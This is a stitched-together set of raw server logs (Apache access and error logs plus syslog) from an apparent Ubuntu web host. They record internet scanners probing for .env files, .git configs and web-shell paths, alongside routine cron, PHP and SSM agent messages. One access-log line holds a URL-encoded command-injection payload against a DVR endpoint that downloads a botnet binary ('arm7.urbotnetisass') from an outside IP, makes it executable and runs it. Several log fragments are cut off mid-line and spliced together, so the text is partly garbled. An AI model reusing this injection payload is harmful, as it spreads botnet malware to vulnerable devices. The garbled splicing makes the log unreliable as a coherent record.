Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
195.26.224.235 - - [13/Sep/2025:02:44:07 -0600] "GET /ja/mod/mod_userdir.html HTTP/1.1" 404 4185 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
195.26.224.235 - - [13/Sep/2025:02:44:08 -0600] "GET /ko/mod/mod_userdir.html HTTP/1.1" 404 4185 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
195.26.224.235 - - [13/Sep/2025:02:44:08 -0600] "GET /tr/mod/mod_userdir.html HTTP/1.1" 404 4185 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
195.26.224.235 - - [13/Sep/2025:02:44:08 -0600] "GET / HTTP/1.1" 200 7212 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
195.26.224.235 - - [13/Sep/2025:02:44:10 -0600] "GET / HTTP/1.1" 200 7212 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
136.143.176.60 - - [13/Sep/2025:03:04:14 -0600] "GET /PCI-test/trademarks.csv HTTP/1.1" 200 36737933 "-" "Zoho_Analytics"
104.253.48.37 - - [13/Sep/2025:03:18:37 -0600] "GET /.env HTTP/1.1" 404 454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36"
104.253.48.37 - - [13/Sep/2025:03:18:37 -0600] "POST / HTTP/1.1" 200 3440 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36"
91.84.104.205 - - [13/Sep/2025:03:21:29 -0600] "GET / HTTP/1.1" 200 7212 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
91.84.104.205 - - [13/Sep/2025:03:21:30 -0600] "GET /en/mod/mod_userdir.html HTTP/1.1" 404 4185 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
91.84.104.205 - - [13/Sep/2025:03:21:31 -0600] "GET /fr/mod/mod_userdir.html HTTP/1.1" 404 4185 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
91.84.104.205 - - [13/Sep/2025:03:21:31 -0600] "GET /ja/mod/mod_userdir.html HTTP/1.1" 404 4185 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
91.84.104.205 - - [13/Sep/2025:03:21:32 -0600] "GET /ko/mod/mod_userdir.html HTTP/1.1" 404 4185 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
91.84.104.205 - - [13/Sep/2025:03:21:32 -0600] "GET /tr/mod/mod_userdir.html HTTP/1.1" 404 4185 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
91.84.104.205 - - [13/Sep/2025:03:21:32 -0600] "GET / HTTP/1.1" 200 7212 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
91.84.104.205 - - [13/Sep/2025:03:21:34 -0600] "GET / HTTP/1.1" 200 7212 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
5.189.130.33 - - [13/Sep/2025:03:40:22 -0600] "GET / HTTP/1.1" 200 7176 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Tokai/21.1.294403 Version/17.2 Safari/605.1.15"
5.189.130.33 - - [13/Sep/2025:03:40:31 -0600] "GET /favicon.ico HTTP/1.1" 404 4147 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Tokai/21.1.294403 Version/17.2 Safari/605.1.15"
37.60.141.156 - - [13/Sep/2025:03:40:33 -0600] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7.urbotnetisass%3B%20wget%20http%3A%2F%2F94.154.35.154%2Farm7.urbotnetisass%3B%20chmod%20777%20%2A%3B%20.%2Farm7.urbotnetisass%20tbk HTTP/1.1" 404 491 "-" "Mo: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Sep 13 04:20:01 ip-172-31-29-215 CRON[3710043]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp)
Sep 13 04:20:26 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: 2025-09-13 04:20:26.3714 WARN EC2RoleProvider Failed to connect to Systems Manager with instance profile role credentials. Err: retrieved credentials failed to report to ssm. Error: EC2RoleRequestError: no EC2 instance role found
Sep 13 04:20:26 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: 2025-09-13 04:20:26.4110 ERROR EC2RoleProvider Failed to connect to Systems Manager with SSM role credentials. error calling RequestManagedInstanceRoleToken: AccessDeniedException: Systems Manager's instance management role is not configured for account: 227937466084
Sep 13 04:20:26 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: #011status code: 400, request id: c0f22743-7043-4692-8763-ed676bde902f
Sep 13 04:39:01 ip-172-31-29-215 CRON[3710077]: (root) CMD (  [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi)
Sep 13 04:39:02 ip-172-31-29-215 systemd[1]: Starting Clean php session files...
Sep 13 04:39:02 ip-172-31-29-215 sessionclean[3710090]: Cannot load Xdebug - it was already loaded
Sep 13 04:39:02 ip-172-31-29-215 sessionclean[3710090]: PHP Warning:  PHP Startup: Unable to load dynamic library 'pdo_sqlsrv.so' (tried: /usr/lib/php/20190902/pdo_sqlsrv.so (/usr/lib/php/20190902/pdo_sqlsrv.so: undefined symbol: php_pdo_unregister_driver), /usr/lib/php/20190902/pdo_sqlsrv.so.so (/usr/lib/php/20190902/pdo_sqlsrv.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Sep 13 04:39:02 ip-172-31-29-215 sessionclean[3710090]: PHP Warning:  Module 'gettext' already loaded in Unknown on line 0
Sep 13 04:39:02 ip-172-31-29-215 sessionclean[3710090]: PHP Warning:  Module 'mbstring' already loaded in Unknown on line 0
Sep 13 04:39:02 ip-172-31-29-215 sessionclean[3710090]: PHP Warning:  Module 'sqlsrv' already loaded in Unknown on line 0
Sep 13 04:39:02 ip-172-31-29-215 systemd[1]: phpsessionclean.service: Succeeded.
Sep 13 04:39:02 ip-172-31-29-215 systemd[1]: Finished Clean php session files.
Sep 13 04:40:01 ip-172-31-29-215 CRON[3710137]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp)
Sep 13 04:45:45 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: 2025-09-13 04:45:45.4127 WARN EC2RoleProvider Failed to connect to Systems Manager with instance profile role credentials. Err: retrieved credentials failed to report to ssm. Error: EC2RoleRequestError: no EC2 instance role found
Sep 13 04:45:45 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: 2025-09-13 04:45:45.4552 ERROR EC2RoleProvider Failed to connect to Systems Manager with SSM role credentials. error calling RequestManagedInstanceRoleToken: AccessDeniedException: Systems Manager's instance management role is not configured for account: 227937466084
Sep 13 04:45:45 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: #011status code: 400, request id: 647ad3f4-7440-4d57-862a-6cbc99156e6d
Sep 13 04:48:19 ip-172-31-29-215 systemd[1]: Starting Ubuntu Advantage Timer for running repeated jobs...
Sep 13 04:48:20 ip-172-31-29-215 systemd[1]: ua-timer.service: Succeeded.
Sep 13 04:48:20 ip-172-31-29-215 systemd[1]: Finished Ubuntu Advantage Timer for running repeated jobs.
Sep 13 05:00:01 ip-172-31-29-215 CRON[3710183]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp)
Sep 13 05:09:01 ip-172-31-29-215 CRON[3710208]: (root) CMD (  [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi)
Sep 13 05:09:02 ip-172-31-29-215 systemd[1]: Starting Clean php 5.159 Safari/537.36 Edg/92.0.902.84"
81.29.134.51 - - [13/Sep/2025:04:28:56 -0600] "GET /favicon.ico HTTP/1.1" 404 454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 YaBrowser/20.6.2.195 Yowser/2.5 Safari/537.36"
43.130.139.136 - - [13/Sep/2025:04:34:55 -0600] "GET / HTTP/1.1" 200 3440 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.128.67.187 - - [13/Sep/2025:04:46:04 -0600] "GET / HTTP/1.1" 200 3440 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
36.111.67.189 - - [13/Sep/2025:04:58:40 -0600] "GET / HTTP/1.1" 200 3440 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
103.101.90.31 - - [13/Sep/2025:05:02:18 -0600] "GET /.env HTTP/1.1" 404 4231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36"
103.101.90.31 - - [13/Sep/2025:05:02:18 -0600] "POST / HTTP/1.1" 200 7260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36"
148.113.214.204 - - [13/Sep/2025:05:03:34 -0600] "GET / HTTP/1.1" 200 3421 "-" "Mozilla/5.0 (compatible; ModatScanner/1.1; +https://modat.io/)"
136.143.176.64 - - [13/Sep/2025:05:04:29 -0600] "GET /PCI-test/trademarks.csv HTTP/1.1" 200 36737933 "-" "Zoho_Analytics"
107.20.88.253 - - [13/Sep/2025:05:12:23 -0600] "GET /src/.git/config HTTP/1.1" 404 4147 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Mobile/15E148 Safari/604.1"
51.91.255.78 - - [13/Sep/2025:05:44:04 -0600] "GET / HTTP/1.1" 200 7249 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0 Safari/537.36"
51.254.59.113 - - [13/Sep/2025:05:51:10 -0600] "GET / HTTP/1.1" 200 11192 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
20.124.91.8 - - [13/Sep/2025:05:58:05 -0600] "MGLNDD_3.22.251.217_80\n" 400 488 "-" "-"
185.242.226.110 - - [13/Sep/2025:06:04:18 -0600] "GET / HTTP/1.1" 200 3421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
136.143.176.60 - - [13/Sep/2025:06:04:37 -0600] "GET /PCI-test/trademarks.csv HTTP/1.1" 200 36737933 "-" "Zoho_Analytics"
124.156.187.113 - - [13/Sep/2025:06:08:34 -0600] "HEAD /Core/Skin/Login.aspx HTTP/1.1" 404 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36"
82.29.225.153 - - [13/Sep/2025:06:30:07 -0600] "GET /.env HTTP/1.1" 404 454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36"
82.29.225.153 - - [13/Sep/2025:06:30:07 -0600] "POST / HTTP/1.1" 200 3440 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36"
43.153.123.4 - - [13/Sep/2025:06:36:45 -0600] "GET / HTTP/1.1" 200 3440 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
23.27.138.178 - - [13/Sep/2025:06:55:41 -0600] "GET /.env HTTP/1.1" 404 4231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36"
23.27.138.178 - - [13/Sep/2025:06:55:42 -0600] "POST / HTTP/1.1" 200 7260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36"
136.143.177.62 - - [13/Sep/2025:07:03:45 -0600] "GET /PCI-test/trademarks.csv HTTP/1.1" 200 36737933 "-" "Zoho_Analytics"
136.143.176.60 - - [13/Sep/2025:07:04:47 -0600] "GET /PCI-test/trademarks.csv HTTP/1.1" 200 36737933 "-" "Zoho_Analytics"
40.77.167.184 - - [13/Sep/2session files...
Sep 13 05:09:02 ip-172-31-29-215 sessionclean[3710221]: Cannot load Xdebug - it was already loaded
Sep 13 05:09:02 ip-172-31-29-215 sessionclean[3710221]: PHP Warning:  PHP Startup: Unable to load dynamic library 'pdo_sqlsrv.so' (tried: /usr/lib/php/20190902/pdo_sqlsrv.so (/usr/lib/php/20190902/pdo_sqlsrv.so: undefined symbol: php_pdo_unregister_driver), /usr/lib/php/20190902/pdo_sqlsrv.so.so (/usr/lib/php/20190902/pdo_sqlsrv.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Sep 13 05:09:02 ip-172-31-29-215 sessionclean[3710221]: PHP Warning:  Module 'gettext' already loaded in Unknown on line 0
Sep 13 05:09:02 ip-172-31-29-215 sessionclean[3710221]: PHP Warning:  Module 'mbstring' already loaded in Unknown on line 0
Sep 13 05:09:02 ip-172-31-29-215 sessionclean[3710221]: PHP Warning:  Module 'sqlsrv' already loaded in Unknown on line 0
Sep 13 05:09:02 ip-172-31-29-215 systemd[1]: phpsessionclean.service: Succeeded.
Sep 13 05:09:02 ip-172-31-29-215 systemd[1]: Finished Clean php session files.
Sep 13 05:13:59 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: 2025-09-13 05:13:59.4573 WARN EC2RoleProvider Failed to connect to Systems Manager with instance profile role credentials. Err: retrieved credentials failed to report to ssm. Error: EC2RoleRequestError: no EC2 instance role found
Sep 13 05:13:59 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: 2025-09-13 05:13:59.5022 ERROR EC2RoleProvider Failed to connect to Systems Manager with SSM role credentials. error calling RequestManagedInstanceRoleToken: AccessDeniedException: Systems Manager's instance management role is not configured for account: 227937466084
Sep 13 05:13:59 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: #011status code: 400, request id: 55d6daa3-2f9f-49d4-8f7a-06fb2cb18967
Sep 13 05:17:01 ip-172-31-29-215 CRON[3710351]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Sep 13 05:20:01 ip-172-31-29-215 CRON[3710357]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp)
Sep 13 05:39:01 ip-172-31-29-215 CRON[3710386]: (root) CMD (  [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi)
Sep 13 05:39:02 ip-172-31-29-215 systemd[1]: Starting Clean php session files...
Sep 13 05:39:02 ip-172-31-29-215 sessionclean[3710399]: Cannot load Xdebug - it was already loaded
Sep 13 05:39:02 ip-172-31-29-215 sessionclean[3710399]: PHP Warning:  PHP Startup: Unable to load dynamic library 'pdo_sqlsrv.so' (tried: /usr/lib/php/20190902/pdo_sqlsrv.so (/usr/lib/php/20190902/pdo_sqlsrv.so: undefined symbol: php_pdo_unregister_driver), /usr/lib/php/20190902/pdo_sqlsrv.so.so (/usr/lib/php/20190902/pdo_sqlsrv.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Sep 13 05:39:02 ip-172-31-29-215 sessionclean[3710399]: PHP Warning:  Module 'gettext' already loaded in Unknown on line 0
Sep 13 05:39:02 ip-172-31-29-215 sessionclean[3710399]: PHP Warning:  Module 'mbstring' already loaded in Unknown on line 0
Sep 13 05:39:02 ip-172-31-29-215 sessionclean[3710399]: PHP Warning:  Module 'sqlsrv' already loaded in Unknown on line 0
Sep 13 05:39:02 ip-172-31-29-215 systemd[1]: phpsessionclean.service: Succeeded.
Sep 13 05:39:02 ip-172-31-29-215 systemd[1]: Finished Clean php session files.
Sep 13 05:40:01 ip-172-31-29-215 CRON[3710441]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp)
Sep 13 05:40:34 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: 2025-09-13 05:40:34.5046 WARN EC2RoleProvider Failed to connect to Systems Manager with instance profile role credentials. Err: retrieved credentials failed to report to ssm. Error: EC2RoleRequestError: no EC2 instance role found
Sep 13 05:40:34 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[3122439]: 2025-09-13 05:40:34.5476 ERRO "-"
20.39.204.195 - - [13/Sep/2025:08:41:50 -0600] "GET /slo.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:50 -0600] "GET /ava.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:50 -0600] "GET /aa17.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:51 -0600] "GET /wsr2.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:51 -0600] "GET /zc.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:51 -0600] "GET /bypass.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:51 -0600] "GET /filei.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:51 -0600] "GET /ot.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:51 -0600] "GET /pass.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:52 -0600] "GET /ioxi-o.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:52 -0600] "GET /axx.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:52 -0600] "GET /cool.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:52 -0600] "GET /aua.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:52 -0600] "GET /aa8.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:52 -0600] "GET /akc.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:53 -0600] "GET /bless3.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:53 -0600] "GET /CLA.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:53 -0600] "GET /3.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:53 -0600] "GET /new.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:53 -0600] "GET /wander.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:54 -0600] "GET /gold.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:54 -0600] "GET /ggs.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:54 -0600] "GET /winkel.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:54 -0600] "GET /ee.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:54 -0600] "GET /33.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:54 -0600] "GET /wo.php HTTP/1.1" 404 437 "-" "-"
20.39.204.195 - - [13/Sep/2025:08:41:55 -0600] "GET /test2.php HTTP/1.1" 404 437 "-" "-"
3.149.59.26 - - [13/Sep/2025:09:04:33 -0600] "GET / HTTP/1.0" 400 624 "-" "-"
3.149.59.26 - - [13/Sep/2025:09:04:36 -0600] "GET / HTTP/1.0" 400 624 "-" "-"
136.143.176.60 - - [13/Sep/2025:09:05:05 -0600] "GET /PCI-test/trademarks.csv HTTP/1.1" 200 36737933 "-" "Zoho_Analytics"
3.149.59.26 - - [13/Sep/2025:09:05:51 -0600] "GET / HTTP/1.1" 200 6585 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
20.39.200.31 - - [13/Sep/2025:09:15:31 -0600] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:31 -0600] "GET /error.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:31 -0600] "GET /NH19T66T.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:31 -0600] "GET /rei.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:32 -0600] "GET /666.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:32 -0600] "GET /777.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:32 -0600] "GET /888.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:32 -0600] "GET /555.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:32 -0600] "GET /333.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:32 -0600] "GET /zeal.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:33 -0600] "GET /file.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:33 -0600] "GET /file1.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:33 -0600] "GET /file2.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:33 -0600] "GET /file5.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:0www/html/slo.php' not found or unable to stat
[Sat Sep 13 08:41:50.702800 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/ava.php' not found or unable to stat
[Sat Sep 13 08:41:50.880809 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/aa17.php' not found or unable to stat
[Sat Sep 13 08:41:51.062898 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/wsr2.php' not found or unable to stat
[Sat Sep 13 08:41:51.238168 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/zc.php' not found or unable to stat
[Sat Sep 13 08:41:51.413427 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/bypass.php' not found or unable to stat
[Sat Sep 13 08:41:51.589855 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/filei.php' not found or unable to stat
[Sat Sep 13 08:41:51.765486 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/ot.php' not found or unable to stat
[Sat Sep 13 08:41:51.941384 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/pass.php' not found or unable to stat
[Sat Sep 13 08:41:52.116688 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/ioxi-o.php' not found or unable to stat
[Sat Sep 13 08:41:52.291924 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/axx.php' not found or unable to stat
[Sat Sep 13 08:41:52.468872 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/cool.php' not found or unable to stat
[Sat Sep 13 08:41:52.644363 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/aua.php' not found or unable to stat
[Sat Sep 13 08:41:52.820035 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/aa8.php' not found or unable to stat
[Sat Sep 13 08:41:52.996191 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/akc.php' not found or unable to stat
[Sat Sep 13 08:41:53.171456 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/bless3.php' not found or unable to stat
[Sat Sep 13 08:41:53.347046 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/CLA.php' not found or unable to stat
[Sat Sep 13 08:41:53.523745 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/3.php' not found or unable to stat
[Sat Sep 13 08:41:53.706687 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/new.php' not found or unable to stat
[Sat Sep 13 08:41:53.882050 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/wander.php' not found or unable to stat
[Sat Sep 13 08:41:54.057293 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/gold.php' not found or unable to stat
[Sat Sep 13 08:41:54.233005 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/ggs.php' not found or unable to stat
[Sat Sep 13 08:41:54.412764 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/winkel.php' not found or unable to stat
[Sat Sep 13 08:41:54.588321 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/ee.php' not found or unable to stat
[Sat Sep 13 08:41:54.763631 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/33.php' not found or unable to stat
[Sat Sep 13 08:41:54.938892 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/wo.php' not found or unable to stat
[Sat Sep 13 08:41:55.114703 2025] [php7:error] [pid 3711090] [client 20.39.204.195:2724] script '/var/www/html/test2.php' not found or unable to stat
[Sat Sep 13 09:15:31.585988 2025] [php7:error] [pid 3708610] [client 20.39.200.31:2217] script '/var/www/html/error.php' not found or unable to stat
[Sat Sep 13 09:15:31.761069 2025] [p9:15:33 -0600] "GET /file17.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:34 -0600] "GET /file32.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:34 -0600] "GET /filesss.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:34 -0600] "GET /file9.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:34 -0600] "GET /file13.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:34 -0600] "GET /file3.php HTTP/1.1" 404 471 "-" "-"
20.39.200.31 - - [13/Sep/2025:09:15:34 -0600] "GET /atomlib.php HTTP/1.1" 404 471 "-" "-"
